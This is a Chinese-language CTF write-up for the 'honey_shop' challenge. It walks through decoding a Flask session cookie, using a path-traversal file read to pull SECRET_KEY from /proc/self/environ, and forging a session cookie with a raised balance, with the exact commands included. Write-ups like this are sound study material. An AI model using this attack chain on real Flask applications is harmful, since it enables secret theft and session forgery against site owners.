[PASECA 2019]honey_shop
进入题目,可以看到初始自己的卡中有1336元,下面有各种商品,其中的flag价格是1337,不够钱。
这时候我一般有两种思路,要不是通过购买特定数量的其他商品造成整数溢出漏洞,但是这题并不是这样,查看cookie:
eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.YpYlCA.iq7NDjHCNbBAWCzEOrTDlSgiEj8
尝试使用flask_session_cookie_manager 解密:
python .\flask_session_cookie_manager3.py decode -c eyJiYWxhbmNlIjoxMzM2LCJwdXJjaGFzZXMiOltdfQ.YpYlCA.iq7NDjHCNbBAWCzEOrTDlSgiEj8
可以看到session中保存的balance代表当前的金钱,所以我们就需要想办法伪造session,既然要伪造session,就需要拿到密钥SECRET_KEY。
任意文件下载
我们发现,当点击主页的图片时,会自动下载文件:
尝试目录穿越读取敏感文件:
可见存在任意文件读取漏洞,那我们可以通过这里读取 /proc/self/environ
,查看当前进程Python的环境变量:
成功获取到了SECRET_KEY=7ZAPIiEn8TkA2uKmkbUqrEijSaCjAXpFIUXKWrd3
,然后我们就可以伪造flask session了。
伪造flask session
利用获取到的SECRET_KEY使用flask_session_cookie_manager 伪造session:
python .\flask_session_cookie_manager3.py encode -s "7ZAPIiEn8TkA2uKmkbUqrEijSaCjAXpFIUXKWrd3" -t "{'balance':4000,'purchases':[]}"
得到:
eyJiYWxhbmNlIjo0MDAwLCJwdXJjaGFzZXMiOltdfQ.YpYntQ.j-SDjFN8oWsKH9iF9KKS9BNSg7E
修改cookie的值后刷新,可见当前金额变为设定好的值,成功买到flag。